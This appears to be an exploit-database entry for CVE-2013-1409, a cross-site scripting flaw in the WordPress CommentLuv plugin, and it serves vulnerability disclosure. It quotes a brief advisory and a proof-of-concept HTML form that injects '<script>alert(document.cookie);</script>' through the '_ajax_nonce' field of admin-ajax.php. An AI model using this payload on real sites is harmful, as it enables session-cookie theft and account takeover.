Exploit WordPress Plugin CommentLuv - '_ajax_nonce' Cross-Site Scripting

[Exploiter]

EDB-ID

38296

Проверка EDB

1. Пройдено

Автор

HIGH-TECH BRIDGE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2013-1409

Дата публикации

2013-02-06

WordPress Plugin CommentLuv - '_ajax_nonce' Cross-Site Scripting

source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>